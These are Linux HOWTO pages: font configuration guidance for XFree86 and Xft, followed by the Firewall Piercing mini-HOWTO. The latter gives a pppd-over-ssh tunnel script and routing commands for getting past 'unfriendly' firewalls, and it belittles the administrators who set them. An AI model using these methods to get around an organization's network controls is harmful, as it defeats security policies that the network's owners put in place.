  6. My Symbol, Webdings, etc. fonts do not show up!

    For some reason some (symbol) fonts are not correctly recognized, and Xft will show your default font, or a font which has the closest match (which is generally not what you mean at all). For Adobe Symbol and MS-webdings I did the following to get them working:

     match
           any family == "webdings"
     edit
           antialias = false;
           encoding += "glyphs-fontspecific";

     match
           any family == "symbol"
     edit
           antialias = false;
           encoding += "glyphs-fontspecific";

    A useful way of figuring out these things is to activate debugging with:

     export XFT_DEBUG=1024

    This will generate a lot of output, especially if you have many fonts, because it lists the properties and scores of every font available. You can also use other values. For a nice summary of what happens (requested font, XftConfig substitutions, X server additions and the finally matched font), you can use XFT_DEBUG=2.

  7. Why do my KDE programs start now soooo slooow?

    The Xft mechanism in XFree prior to 4.1 had to parse the XftConfig file each time a program was started. And the info of all these fonts had to be re-read. As of X 4.1.0, a cache is used and starting applications using Xft is much faster. Especially if you have many fonts this can be very useful. So, upgrading XFree86, and related packages, is a good idea.

  8. I have a LCD screen on my laptop, can I use sub-pixel hinting instead of normal anti-aliasing?

    Yes you can. Sub-pixel hinting uses colors instead of gray pixels to do the AA. I do not have a LCD screen so I do not have any idea of how it looks but you can play with the "rgba" setting. Try:

     match edit rgba=bgr;

    or use rgb if you have a different type of monitor. For vertical AA you can try vbgr and vbgr.

  9. My fonts still look bad!

    Good quality fonts are needed to start with. If you do not have some good TrueType fonts, it is worth it to go and look for them on the Internet. Other reasons why your fonts still look bad can be because of your build of freetype2. Snapshots versions before 2.0.2 were compiled with an option that had some patent issues. Therefore, the standard 2.0.2 and 2.0.3 compiles without this option. To fix this, download the freetype2 source rpm and change in include/freetype/config/ftoption.h line 314:

      #undef TT_CONFIG_OPTION_BYTECODE_INTERPRETER

    to:

      #define TT_CONFIG_OPTION_BYTECODE_INTERPRETER

    and rebuild with this modified source. See the freetype2 README file for details. Adobe Courier looks terrible on my system, so I made an alias so that Lucida console is displayed instead. If anyone can get it to display nicely I would appreciate knowing about it.

This is my XftConfig:

#
# XftConfig
#
# By: Danny Tholen
#
# Use with Type1 and TrueType fonts
#

dir "/usr/X11R6/lib/X11/fonts/Type1"
dir "/usr/X11R6/lib/X11/fonts/drakfont"
dir "/usr/share/fonts/default/Type1"

#
# alias 'fixed' and 'console' for 'mono'
# (some programs ask for 'mono' if they mean 'fixed';)
#
match any family == "fixed"        edit family =+ "mono";
match any family == "console"      edit family =+ "mono";

#
#Check users config file
#
includeif     "~/.xftconfig"

#
# Use TrueType fonts for defaults
# Danny: disabled
#match any family == "serif"       edit family += "Times New Roman";
#match any family == "sans"        edit family += "Verdana";

#
# Use lucida console as default fixed type font
# and set the spacing of "mono" to 100, this
# fixes broken fonts which are fixed, but do not
# set mono-spacing.
match
      any family == "mono"
edit
      family += "lucida console";
      spacing = 100;

#
# Alias between XLFD families and font file family name, prefer local fonts
#
match any family == "Charter"           edit family += "Bitstream Charter";
match any family == "Bitstream Charter" edit family =+ "Charter";

match any family == "Lucidux Serif"     edit family += "LuciduxSerif";
match any family == "LuciduxSerif"      edit family =+ "Lucidux Serif";

match any family == "Lucidux Sans"      edit family += "LuciduxSans";
match any family == "LuciduxSans"       edit family =+ "Lucidux Sans";

match any family == "Lucidux Mono"      edit family += "LuciduxMono";
match any family == "LuciduxMono"       edit family =+ "Lucidux Mono";

#
# TrueType font aliases
#
match any family == "Comic Sans"        edit family += "Comic Sans MS";
match any family == "Comic Sans MS"     edit family =+ "Comic Sans";
match any family == "Trebuchet"         edit family += "Trebuchet MS";
match any family == "Trebuchet MS"      edit family =+ "Trebuchet";
match any family == "Monotype"          edit family =+ "Monotype.com";
match any family == "Andale Mono"       edit family += "Monotype.com";
match any family == "Monotype.com"      edit family =+ "Andale Mono";

# Danny:
# set the AA for different fonts
#
# most TT fonts do not need to be aliased between
# 8 and 15 points, although this might be a matter of taste.
match
      any size > 8
      any size < 15
edit
      antialias = false;

# Danny: Courier looks terrible, and I
# cannot get most characters to fit nicely
# in their space. So I use courier 10 pitch
match
      any family == "courier"
edit
      family += "courier 10 pitch";

# these are symbols, and for some reason this needs to be added!:

match
      any family == "webdings"
edit
      antialias = false;
      encoding += "glyphs-fontspecific";

match
      any family == "symbol"
edit
      antialias = false;
      encoding += "glyphs-fontspecific";

match
      any family == "Standard Symbols L"
edit
      antialias = false;
      encoding += "glyphs-fontspecific";

match
      any family == "dingbats"
edit
      antialias = false;
      encoding += "glyphs-fontspecific";

match
      any family == "Cursor"
edit
      antialias = false;
      encoding += "glyphs-fontspecific";

# maybe arial looks better like this?:
match
      any family == "Arial"
      any size > 7
      any size < 15
edit
      antialias = false;

# end

4.1.4. GTK and GNOME

As mentioned above, KDE and QT do have solid anti-aliasing support with recent releases. GNOME, however, does not support anti-aliasing natively in stable releases (as of Feb 2002). But it is under developement and will be available when 2.0 is released, which should not be far away. If you are adventurous, you might consider getting the current development snapshot, and play with that.

In the meantime, there is the gdkxft project available at http://sourceforge.net/projects/gdkxft/. This will add anti-aliasing support to GTK+ 1.2 applications. This is a stand-alone library and not a patch. It will only effect GTK+ widgets (many of them but not all). There are some limitations, but mostly it works as advertized. Read the included README closely. An initial installation provides a good starting point. I used some of Danny's suggestions above, and it seems to work mostly. Even with the latest Mozilla (widgets only AFAICT)! GNOME users will need to use the "gdkxft" supplied theme.

For RPM users, there is a spec file in the tarball, and an RPM can be built with "rpm -tb <tarball>.tgz". Then install the binary RPM that is produced from that.

4.1.5. Afterword

You've gone through all the steps, and verified that the "RENDER" extension is available, but you don't perceive a difference? Well, maybe the applications themselves just aren't there yet, and are not able to utilize these new features. Netscape, for instance, is not able to take advantage of anti-aliasing.

So how to know what does and does not make use of anti-aliasing? A quick test is to use something like xmag, or gimp, and enlarge the text considerably. Look for diagonal lines, and if they are clearly stair-stepped with no softened edges. If so, then while anti-aliasing is technically available, it is not being used. With anti-aliasing you should see gradients instead of well defined sharp edges. You can compare this with xterm and "AA":

$xterm -fa charter -fs 14

One final point: anti-aliasing and TrueType are completely separate issues. One does not depend on the other, though both together can can enhance appearance significantly. Especially, with good quaility TrueType fonts!

4.2. Red Hat 7.x Differences

Red Hat 7.0 introduced some changes to X configuration over previous Red Hat versions. It is also different from the stock XFree86 configuration as addressed above. Notable differences:

  • Both XFree86 3.3.6 and 4.x are included. If upgrading you may wind up with 3.3.6. The X configuration file is XF86Config for 3.3.6 and XF86Config-4 for 4.x. Of course, you'll need to know which is which for editing and configuration purposes.

  • xfs is still handling all font duties. A default Red Hat 7.x installation does not use the 'modules' section of XF86Config-4 for font handling. Instead it relies on xfs, which has this capability built in. This is different from a stock installation of XFree86 4.x where the X server does all the font work -- including TrueType.

  • The socket for xfs is "unix/:7100" with RH 7.x, as opposed to "unix/:-1" in previous versions (i.e. Red Hat 6.x).

  • As of Red Hat 7.1, the xfs init script actually runs mkfontdir and ttmkfdir on font directories known to xfs. So this step is not necessary when new fonts are added. Just restart xfs.

Prev | Home | Next
TrueType Fonts |  | Adjusting Fonts in Specific Applications


X Server Configuration

XFree86 Font De-uglification HOWTO
Prev Next

2. X Server Configuration

There are a few simple configuration tweaks that will help X do its job better.

2.1. Setting The FontPath

The first place to look for curing font problems is the XF86Config file. /usr/X11/lib/X11/XF86Config or /etc/X11/XF86Config are the common locations. (This may be XF86Config-4 for XFree86 4.x.) If you haven't guessed already, the most important part of this file relating to fonts is the FontPath. Before we get into that, this would be a good time to check the other parts of your X configuration. Bad monitor settings can be even more of a headache than bad fonts, so make sure your refresh rate is as high as your monitor can handle (85 Hz is great, 75 Hz is OK, 60 Hz is painful.)

Use your favorite text editor and edit XF86Config. Near the top of the file in the "Files" section, you should see something vaguely like this:

FontPath        "/usr/X11R6/lib/X11/fonts/misc/"
FontPath        "/usr/X11R6/lib/X11/fonts/Type1/"
FontPath        "/usr/X11R6/lib/X11/fonts/Speedo/"
FontPath        "/usr/X11R6/lib/X11/fonts/75dpi/"
FontPath        "/usr/X11R6/lib/X11/fonts/100dpi/"

This much should be the same, or at least similar, for both XFree86 3.x and 4.x. The FontPath tells X where to find the fonts it uses to render text on your display. Order is important -- when an X application asks X to render some text, the X server usually has some leeway to choose the font that is used. The X server then goes through the FontPath and grabs the first font it sees that matches the X client's criteria, and then displays it. (Note that Red Hat's xfs for versions 6.x and later has a different way of setting the FontPath. See the Section 3.2.2 below for more on xfs.)

If the 100dpi fonts are not listed, they probably did not get installed for whatever reason, so you may want install them now. Default installations may put 75dpi fonts before the 100dpi fonts. If you have a high resolution display (1024x768 or higher), this means very tiny fonts. If this is the case, the first tweak you'll use is to switch the 75dpi and 100dpi FontPath lines:

FontPath        "/usr/X11R6/lib/X11/fonts/misc/"
FontPath        "/usr/X11R6/lib/X11/fonts/Type1/"
FontPath        "/usr/X11R6/lib/X11/fonts/Speedo/"
FontPath        "/usr/X11R6/lib/X11/fonts/100dpi/"
FontPath        "/usr/X11R6/lib/X11/fonts/75dpi/"

Next, specify that you prefer to use unscaled bitmap fonts. If you've ever used Netscape or any other program that displays titles using big fonts, you'll likely notice that those fonts are pixelized. This is ugly and needs to be corrected. So add :unscaled to the ends of the misc, 100dpi and 75dpi fonts. You can even use both unscaled and scaled fonts if you want, just put the unscaled FontPath lines first to tell X you prefer unscaled fonts if possible:

FontPath        "/usr/X11R6/lib/X11/fonts/misc:unscaled"
FontPath        "/usr/X11R6/lib/X11/fonts/100dpi:unscaled"
FontPath        "/usr/X11R6/lib/X11/fonts/75dpi:unscaled"
FontPath        "/usr/X11R6/lib/X11/fonts/Type1"
FontPath        "/usr/X11R6/lib/X11/fonts/Speedo"
FontPath        "/usr/X11R6/lib/X11/fonts/misc"
FontPath        "/usr/X11R6/lib/X11/fonts/100dpi"
FontPath        "/usr/X11R6/lib/X11/fonts/75dpi"

After making these changes, restart X (and your font server, if installed). Doesn't the desktop look better already?

2.2. X Server Command Line Options

The next thing you need to do is adjust the command line options for the X server. You'll want to use the -dpi switch which specifies the display resolution in dots per inch. As a lot of systems use high resolution displays these days, chances are they'll be working at 100 dpi.

If you start X from the console command prompt, type:

$ startx -- -dpi 100 -depth 16 # v4.x syntax

Or these options can be stored in ~/.xserverrc. See the startx and xinit man pages for more on this.

If you use xdm (or friends such as gdm) for graphical logins, you'll want to edit your /usr/X11/lib/X11/xdm/Xservers file (or possibly /etc/X11/xdm/Xservers) which will have the command line for the Xserver in it. Mine has the line:

:0 local /usr/X11R6/bin/X -dpi 100 -gamma 1.6

Note that there is no magic to "-dpi 100". Choose something higher if your hardware will support it -- like "-dpi 120".

More information is in the X, Xserver, xdm, xinit, and startx man pages.

Prev | Home | Next
Introduction |  | TrueType Fonts


Firewall Piercing mini-HOWTO

François-René Rideau

v0.97, 24 November 2001

Revision History
Revision v0.97 2001-11-24 Revised by: frr
Conversion to DocBook SGML.

Directions for using ppp over ssh, telnet or whatever, so as to do achieve transparent network connection accross a firewall. Applies to friendly VPN construction as well as to piercing unfriendly firewalls.

Table of Contents
1. Stuff
1.1. DISCLAIMER
1.2. Legal Blurp
1.3. Looking for a maintainer
1.4. Credits
1.5. Latest versions
2. Introduction
2.1. Foreword
2.2. Security issues
2.3. Other requirements
2.4. Downloading software
3. Understanding the problem
3.1. Giving names to things
3.2. The main problem
3.3. The secondary problem
4. Secure solution: piercing using ssh
4.1. Principle
4.2. A sample session
5. Unsecure solution: piercing using telnet
5.1. Principle
5.2. fwprc
5.3. .fwprcrc
6. Routing
6.1. The catch
6.2. Example of routing
7. Reverse piercing
7.1. Rationale
7.2. Getting the trigger message
7.3. Other automated tools for reverse piercing
8. Final notes
8.1. Other settings
8.2. HOWTO maintenance
8.3. Related Documents
8.4. Final Word
8.5. Extra copy of IMPORTANT DISCLAIMER --- BELIEVE IT!!!
Next
Stuff


Stuff

Firewall Piercing mini-HOWTO
Prev Next

1. Stuff

1.1. DISCLAIMER

READ THIS IMPORTANT SECTION !!!

I hereby disclaim all responsibility for your use of this hack. If it backfires on you in any way whatsoever, that's the breaks. Not my fault. If you don't understand the risks inherent in doing this, don't do it. If you use this hack and it allows vicious vandals to break into your company's computers and costs you your job and your company millions of dollars, well that's just tough nuggies. Don't come crying to me.

1.2. Legal Blurp

Copyright © 1998-2001 by François-René Rideau.

This document is free software published under the bugroff license.

To ease their task, it has also been released to the LDP maintainers under the GNU Free Documentation License.

1.3. Looking for a maintainer

I have stopped actively developing this mini-HOWTO, although I'm still maintaining it. I'm looking for a maintainer to take over this document, who would extend it into a full-fledged HOWTO by expanding on the solutions whose existence I only mention, and who would maybe develop software to make it easier to pierce firewalls. I have a lot of ideas to expand this HOWTO and write according software, if anyone is interested. I also used to write a french version of this HOWTO, but no one has been maintaining it anymore for a long time.

1.4. Credits

Even though the only thing left is the disclaimers, this document owes a lot to the Term-Firewall mini-HOWTO by Barak Pearlmutter <bap@cs.unm.edu>. Barak's mini-HOWTO relies on an ancient and no-more-supported program named Term (a great program in its time, and maybe still useful in some unhappy circumstances), as well as on peculiarities of a not-so-standard telnet implementation, that is, many obsolete and non-portable facts. Nevertheless, there was a necessity for a mini-HOWTO about piercing firewalls, and despite the limitations of its hacks, this mini-HOWTO was a model and an encouragement.

I'd also like to congratulate Lars Brinkhoff <lars@nocrew.org> and Magnus Lundström <logic@gore.nocrew.org> for their fine http, mail and icmp tunnels.

1.5. Latest versions

The latest official LDP version of this document is on: http://www.linuxdoc.org/HOWTO/mini/Firewall-Piercing.html

The source of my latest official version of this document is on: http://fare.tunes.org/files/fwprc/

The source of my latest working draft of this document is on: http://tunes.org/cgi-bin/cvsweb/fare/fare/www/articles/Firewall-Piercing.en.sgml

Prev | Home | Next
Firewall Piercing mini-HOWTO |  | Introduction


Introduction

Firewall Piercing mini-HOWTO
Prev Next

2. Introduction

2.1. Foreword

This document has a moral. And the moral is: a firewall cannot protect a network against its own internal users, and should not even try to.

When an internal user asks you system administrator to open an outbound port to an external machine, or an inbound port to an internal machine, then you should do it for him. Of course you should help the user to make sure that his transactions are secure, and that his software is robust. But a flat out denial of service is plain incompetence. For unless he is so firewalled as to be completely cut from the outside world, with no ssh, no telnet, no web browsing, no email, no dns, no ping, no phone line, no radio, no nothing, then the user can and will use firewall piercing techniques to access the machines he wants nonetheless, and the net result for security will be an unaudited connection with the outside world. So either you trust your users, after proper training and selection, or you shouldn't grant them access to the network at all - but then again, the role of a network administrator is usually to serve its users, so your goal should be the former rather than the latter. You can and you shall protect them from the outside world; you can and you shall protect your critical services from them; but you can't and you shall not protect them from themselves.

Because there exists such things as system administrators who are either unresponsive, absent, overworked, plain incompetent, irresponsible, or more generally managed by incompetent people, it so happens that a user may find himself behind a firewall that he may cross, but only in awkward ways. This mini-HOWTO explains a generic and portable way to pierce tunnels into firewalls, by turning any thin, tiny trickle of bits into a full-fledged information superhighway, so the user can seamlessly use standard tools to access computers on the other side of the firewall. The very same technique can be used by competent system administrators to build virtual private networks (VPN).

2.2. Security issues

Of course, if your sysadm has setup a firewall s/he might have a good reason, and you may have signed an agreement to not circumvent it. On the other hand, the fact that you can use telnet, the web, e-mail, or whatever other bidirectional information flux with the outside of the firewall (which is a prerequisite for the presented hacks to work) means that you are allowed to access external systems, and the fact that you can log into a particular external system somehow means you're allowed to do it, too.

So this is all a matter of conveniently using legal holes in a firewall, and allow generic programs to work from there with generic protocols, as opposed to requiring special or modified (and recompiled) programs going through lots of special-purpose proxies that be misconfigured by an uncaring or incompetent sysadm, or to installing lots of special-purpose converters to access each of your usual services (like e-mail) through ways supported by the firewall (like the web).

Moreover, the use of a user-level IP emulator such as SLiRP should still prevent external attackers from piercing the firewall back in the other way, unless explicitly permitted by you (or they are clever and wicked, and root or otherwise able to spy you on the server host).

All in all, the presented hack should be relatively safe. However, it all depends on the particular circumstances in which you set things up, and I can give no guarantee about this hack. Lots of things are intrinsically unsafe about any Internet connection, be it with this hack or not, so don't you assume anything is safe unless you have good reasons, and/or use some kind of encryption all the way.

Let's repeat the basics of networking security: you cannot trust anything about a connection more than you trust the hosts that can handle the unencrypted data, including hosts on both ends of the connection, and all hosts that can intercept the communication, unless the communication is properly encrypted with secret keys. If you misplace your trust, your passwords may be stolen and used against you, your credit card number may be stolen and used against you, and you may be fired from your work for endangering the whole company. Tough nuggies.

To sum it up, don't use this hack unless you know what you're doing. Re-read the disclaimer above.

2.3. Other requirements

It is assumed that you know what you're doing, that you know about configuring a network connection, that in case of doubt, you will have read all relevant documentation (HOWTOs, manual pages, web pages, mailing-list archives, RFCs, courses, tutorials).

It is assumed that you have shell accounts on both sides of the firewall, that you can somehow transmit packets of information both ways across the firewall (with telnet, ssh, e-mail, and the web being the ways currently known to work), and that you can let a daemon run as a background task on the server site (or benefit from and existing daemon, sshd, telnetd, or sendmail/procmail).

It is assumed that you know or are willing to learn how to configure an IP emulator (pppd, slirp) or an Internet access daemon and its associated library (SOCKS, Term) on each side, according to your needs in terms of connectivity and to your access rights, with your recompiling some software if needed.

Last but not least, so that you can use the hacks described in this document, it is assumed that you are root on the side of the firewall that needs full transparent IP access to the other side. Indeed, you'll want to run the PPP daemon on this side which allows for use the normal kernel packet routing facilities. In case you're not root on this side, your case is not desperate though: indeed, Barak Pearlmutter's Term-Firewall mini-HOWTO describes how to use Term, a purely userland program, to the end of piercing firewalls. Although there's no HOWTO, I suspect SOCKS could also be used as a way to pierce firewalls without have root privilege; I will gladly accept patches to this HOWTO that describe such a method of piercing firewalls.

2.4. Downloading software

Most software named in this HOWTO should be available from your standard Linux distribution, possibly among contrib's. At least, the four first below are available in as .rpm and .deb packages. In case you want to fetch the latest sources (after all, one of the ends of the connection may not be running under Linux), use the addresses below:

  • SLiRP can be found at http://blitzen.canberra.edu.au/slirp and/or ftp://www.ibc.wustl.edu/pub/slirp_bin/.

  • zsh can be found at http://www.zsh.org/.

  • ppp can be found at ftp://cs.anu.edu.au/pub/software/ppp/.

  • ssh can be found at http://www.openssh.com/.

  • fwprc, cotty and getroute.pl can be found at http://fare.tunes.org/files/fwprc/.

  • httptunnel can be found at http://www.nocrew.org/software/httptunnel/.

  • mailtunnel can be found at http://www.detached.net/mailtunnel/.

Prev | Home | Next
Stuff |  | Understanding the problem


Understanding the problem

Firewall Piercing mini-HOWTO
Prev Next

3. Understanding the problem

Understanding a problem is the first half of the path to solving it.

3.1. Giving names to things

If you want this hack to work for you, you'll have to get an idea of how it works, so that in case anything breaks, you know where to look for.

The first step toward understanding the problem is to give a name to relevant concepts.

As usual, we'll herein call "client" the machine that decides to initiate the connection, as well as programs and files on that machine. Conversely, we'll call "server" that waits for connections and accepts them, as well as programs and files on that machine. Firewall piercing is useful when the two machines are separated by a firewall, such that it is possible for the server to accept some kind of connections, whereas the client might or might not be able to accept any. A tunnel will be created between the two machines that allows full IP traffic despite the firewall.

Usually, when piercing firewalls, the client is the machine behind a firewall: it has limited access to the internet, but can somehow open some kind of connection to the server. The server is a machine with full internet access, that will serve as a proxy for the client to access all of the internet. In a VPN, the firewall the roles might be reversed, with the client being on the internet, and the server serving as a proxy for the client to access some private network.

3.2. The main problem

The main problem with firewall piercing is to create a tunnel: a continuous connection from the client machine to a server machine on the other side of the firewall, that allows for bidirectional exchange of information. Optionally, this connection should be a secure one. The secondary problem is to transform this connection into a full IP access for normal programs to use transparently.

For the main problem, we'll assume that either (1) you can establish normal TCP/IP connections from the client side of the firewall to some port on a server machine where a sshd runs or can be set to run, or (2) you can somehow establish a telnet connection through a telnet proxy. In case you cannot, we will give you pointers to other software that allows you to pierce a tunnel accross a firewall. Although we only give a secure solution in the first case, you can hack your own secure solution in the other cases, if you understand the principle (if you don't, someone, e.g. I, can do it for you in exchange for money).

3.3. The secondary problem

For the secondary problem, IP emulators (pppd or SLiRP) are run on each side of the tunnel.

On the side that wants full IP access to the other side, you'll want to run pppd. On the other side, you want to run pppd if you also want full IP access to the first side, or SLiRP if you want to prevent any access. Go to your usual pppd or SLiRP documentation for more information, if you have specific needs not covered by the examples given below.

Although this is conceptually trivial, it nonetheless requires a few silly tricks, so as to work, since (a) in case you're using some kind of programmed interactive shell session to start the server's IP emulator on either side, you need to correctly synchronize the start of the IP emulator on the other side, so as not to send garbage into the shell session, and (b) IP emulators are designed to be run on a "tty" interface so you have to convert your tunnel's interface into a tty one.

Issue (a) is just your usual synchronization problem, and doesn't even exist if you use ssh, that transparently handles server's command launching.

Issue (b) requires the use of a simple external utility. We wrote one, cotty just for that purpose.

<FLAME ON>

Among the silly problems caused by pppd maintainers' shortmindedness (no more true in recent Linux versions), you can only run it through either a device in /dev or the current tty. You cannot run it through a pair of pipe (which would be the obvious design). This is fine for the server's pppd if any, as it can use the telnet or ssh session's tty; but for the client's pppd, this conflicts with the possible use of telnet as a way to establish a connection.

Indeed, telnet, too wants to be on a tty; it behaves almost correctly with a pair of pipe, except that it will still insist on doing ioctl's to the current tty, with which it will interfere; using telnet without a tty also causes race conditions, so that the whole connection will fail on "slow" computers (fwprc 0.1 worked perfectly on a P/MMX 233, one time out of 6 on a 6x86-P200+, and never on a 486dx2/66). All in all, when using telnet, you need cotty to run as a daemon to copy output from one tty on which runs pppd into another tty on which runs telnet, and conversely.

If I find the sucker (probably a MULTICS guy, though there must have been UNIX people stupid enough to copy the idea) who invented the principle of "tty" devices by which you read and write from a "same" pseudo-file, instead of having clean pairs of pipes, I strangle him!

</FLAME>

Prev | Home | Next
Introduction |  | Secure solution: piercing using ssh


Secure solution: piercing using ssh

Firewall Piercing mini-HOWTO
Prev Next

4. Secure solution: piercing using ssh

4.1. Principle

Let's assume that your firewall administrator allows transparent TCP connections to some port on some server machine on the other side of the firewall (be it the standard SSH port 22, or an alternate destination port, like the HTTP port 80 or whatever), or that you somehow managed to get some port in one side of the firewall to get redirected to a port on the other side (using httptunnel, mailtunnel, some tunnel over telnet, or whatelse).

Then, you can run an sshd on the server side port, and connect to it with an ssh on the client side port. On both sides of the ssh connection, you run IP emulators ( pppd), and there you have your VPN, Virtual Public Network, that circumvents the stupid firewall limitations, with the added bonus of being encrypted for privacy (beware: the firewall administrator still knows the other end of the tunnel, and whatever authentication information you might have sent before to run ssh).

The exact same technology can be used to build a VPN, Virtual Private Network, whereby you securely join physical sites into a one logical network without sacrificing security with respect to the transport network between the sites.

4.2. A sample session

Below is a sample script for you to adapt to your needs. It uses the array feature of zsh, but you may easily adapt it to your favorite shell. Use option -p for ssh to try another port than port 22 (but then, be sure to run sshd on same port).

Note that the script supposes that ssh can login without your having to interactively type your password (indeed, it's controlling tty will be connected to pppd, so if it asks for a password, you lose). This can be done either by ssh keys in your ˜/.ssh/authorized_keys that either do not require a password, or that you unlock using ssh-agent or ssh-askpass. See your SSH documentation. Actually, you might also use a chat script to enter your password, but this is definitely not the Right Thing.

If you are not root on the server end, or simply if want to screen your client's network from outbound connections, you can use slirp instead of pppd as the server's PPP emulator. Just uncomment the relevant line.

#!/bin/zsh -f
SERVER_ACCOUNT=root@server.fqdn.tld
SERVER_PPPD="pppd ipcp-accept-local ipcp-accept-remote"
#SERVER_PPPD="pppd" ### This usually suffices if it's in /usr/sbin/
#SERVER_PPPD="/home/joekluser/bin/slirp ppp"
CLIENT_PPPD=( pppd
    silent
    10.0.2.15:10.0.2.2
    ### For debugging purposes, you may uncomment the following:
    # updetach debug
    ### Another potentially useful option (see section on Routing):
    # defaultroute
)
$CLIENT_PPPD pty "ssh -t $SERVER_ACCOUNT $SERVER_PPPD"

Note that default options from your /etc/ppp/options or ˜/.slirprc may break this script, so remove any unwanted option from there.

Also note that 10.0.2.2 is the default setting for slirp, which might or not fit your specific setup. In any case, you should most likely be using some address in one of the ranges reserved by RFC 1918 for private networks: 10.0.0.0/8, 172.16.0.0/12 or 192.168.0.0/16. The firewall-protected LAN might already be using some of them, and avoiding clashes is your responsibility. For more customization, please read the appropriate documentation.

If your client's pppd is old or non-linux (e.g. BSD) and hasn't got the pty option, use
cotty -d -- $CLIENT_PPPD -- ssh -t $SERVER_ACCOUNT $SERVER_PPPD
Catches: don't put quotes around commands given to cotty, as they are just exec()'d as is, and don't forget to specify the full path for the server's pppd if it's not in the standard path setup by ssh.

Automatic reconnection is left as an exercise to the reader (hint: the nodetach option from pppd might help for that).

Prev | Home | Next
Understanding the problem |  | Unsecure solution: piercing using telnet


Unsecure solution: piercing using telnet

Firewall Piercing mini-HOWTO
Prev Next

5. Unsecure solution: piercing using telnet

5.1. Principle

If all you can do is telnet (because of a telnet proxy), then this solution might be fit for you.

The firewall-piercing program, fwprc, will use a "tty proxy", cotty, that opens two pseudo-tty devices, launches some command on each of those devices' slaves, and stubbornly copies every character that one outputs to the tty that serves as input of the other command. One command will be telnet connection to server site, and the other will be the client's pppd. pppd can then open and control the telnet session with a chat script as usual.

Actually, if your telnet proxy allows connection to an arbitrary port, and if you can reliably run a daemon on the server host (with a cron job to relaunch it in case of breakage), then you'd better write some program that will just connect a client side port to the server side port through the proxy, so you can use the above secure solution, possibly using some variant of
ssh -t -o "ProxyCommand ..."
(if you submit it to me, I'll gladly integrate such a solution to the fwprc distribution).

Note: if you must use the unsecure telnet-based solution, be sure that nothing lies in your target account that you want to keep secret or untampered, since the password will be sent in clear text accross the Internet. If you can control these things, a one-time-password system, or an explicit cryptographic challenge system will enhance your security, although it will make automated connection scripts much more complex.

5.2. fwprc

I wrote a very well self-documented script to pierce firewalls, fwprc, available from my site, together with cotty (which is required by fwprc 0.2 and later). At the time of my writing these lines, latest versions are fwprc 0.3e and cotty 0.4c.

The name "fwprc" is voluntarily made unreadable and unpronounceable, so that it will confuse the incompetent paranoid sysadm who might be the cause of the firewall that annoys you (of course, there can be legitimate firewalls, too, and even indispensable ones; security is all a matter of correct configuration). If you must read it aloud, choose the worst way you can imagine.

CONTEST! CONTEST! Send me an audio file with a digital audio recording of how you pronounce "fwprc". The worst entry will win a free upgrade and his name on the fwprc 1.0 page!

I tested the program in several settings, by configuring it through resource files. But of course, by Murphy's law, it will break for you. Feel free to contribute enhancements that will make life easier to other people who'll configure it after you.

5.3. .fwprcrc

fwprc can be customized through a file .fwprcrc meant to be the same on both sides of the firewall. Having several alternate configurations to choose from is sure possible (for instance, I do it), and is left as an exercise to the reader.

To begin with, copy the appropriate section of fwprc (the previous to last) into a file named .fwprcrc in your home directory. Then replace variable values with stuff that fits your configuration. Finally, copy to the other host, and test.

Default behavior is to use pppd on the client, and slirp on the server. To modify that, you can redefine the appropriate function in your .fwprcrc with such a line as:
remote_IP_emu () { remote_pppd }

Note that SLiRP is safer than pppd, and easier to have access to, since it does not require being root on the server machine, and needn't additional firewall configuration to prevent connections from the outside world into the firewalled network. The basic functionality in SLiRP works quite well, but I haven't managed to get some advertised pluses to work (like run-time controllability). Of course, since it is free software, feel free to hack the source so as to actually implement or fix whichever feature you need.

Prev | Home | Next
Secure solution: piercing using ssh |  | Routing


Routing

Firewall Piercing mini-HOWTO
Prev Next

6. Routing

Piercing the firewall is not everything. You must also route the packets from the client side of the firewall to the server side. This section tackles the basic settings specific about routing accross a tunnel. For more detailed explanations of routing, see the relevant HOWTOs and man pages about networking, routing and masquerading.

6.1. The catch

The catch is that although your network administration would tell you to setup your some router on your client side's as the default route, (this may be relevant if you want to have a specific route to the networks on the client of the firewall), you should setup PPP link as the route to the networks on the server side.

In other words, your default route should point to a router on whichever side of the tunnel that gives you access to the Internet.

Most importantly, packets sent to the server host as part of running the tunnel should be routed through your usual network (e.g. your default ethernet router); otherwise, your kernel will have problems, as it tries to route through the inside the tunnel the very packets that ought to constitute the outside of the tunnel.

Thus, you'll have to setup correct routes in your network startup configuration. The precise location of your routing configuration data depends on your distribution, but it is typically under /etc/init.d/network or /etc/network/; similarly, your PPP configuration is typically in /etc/ppp/, and the proper place to configure its routes is usually in ip-up or ip-up.d/. (Tip: to identify your distribution-specific file locations, you must read the documentation of your distribution and otherwise RTFM; alternatively use grep recursively on your /etc; at worst, trace what happens at boot time, as configured in your /etc/inittab.)

When piercing a tunnel from a roaming laptop on the Internet into a protected network, the script getroute.pl (available from the fwprc distribution) gives the current route to the server host that is the other end of the tunnel.

Once you can route packets to the server side of the tunnel, you might want to setup your machine as a router for all your pals on the client side of the firewall, achieving a full-fledged shared VPN. This is not specific to Firewall-Piercing, so just you read the relevant HOWTOs about networking, routing and masquerading. Also, for security reasons, be sure to also setup a proper firewall on your machine, especially if you're going to be a router for other people.

Finally, be reminded that if you're using pppd on the server end of the tunnel (as opposed to user-mode slirp), you will have to configure proper routes and firewall rules on the server side of the tunnel, too.

6.2. Example of routing

In this example, your client machine is connected to a firewalled LAN through ethernet device eth0. Its IP address is 12.34.56.78; its network is 12.34.56.0/24; its router is 12.34.56.1.

Your network administrator may have told you to use 12.34.56.1 as default router, but you shouldn't. You should only use it as a route to the client side of the firewall.

Let's suppose the client side of your firewall is made of networks 12.34.0.0/16 and 12.13.0.0/16, and of host 11.22.33.44. To make them accessible through your client router, add these routes to your global network startup script:
route add -net 12.34.0.0 netmask 255.255.0.0 gw 12.34.56.1
route add -net 12.13.0.0 netmask 255.255.0.0 gw 12.34.56.1
route add -host 11.22.33.44 gw 12.34.56.1
You must also keep the route to the client's local network, necessary for linux kernel 2.0 and earlier, but but unnecessary for linux kernel 2.2 and later (that implicitly adds it during the ifconfig):
route add -net 12.34.56.0 netmask 255.255.255.0 dev eth0
On the other hand, you must remove any default route from your scripts. Delete or comment away a line like:
route add default gw 12.34.56.1
Note that it is also possible to remove the route from the running kernel configuration without rebooting, by the following command:
route del default gw 12.34.56.1
Then you can have pppd setup a default route automatically when it starts by using its defaultroute option. Alternatively, you can add it afterwards:
route add default gw 10.0.2.2
If you don't want pppd as a default route, because the Internet access is available on your side of the firewall, and if you instead want network 98.76.48.0/20 to be routed through the tunnel, except from host 98.76.54.32 that serves as the other end of the tunnel, then add the following lines to your /etc/ppp/ip-up:
route add -host 98.76.54.32 gw 12.34.56.1
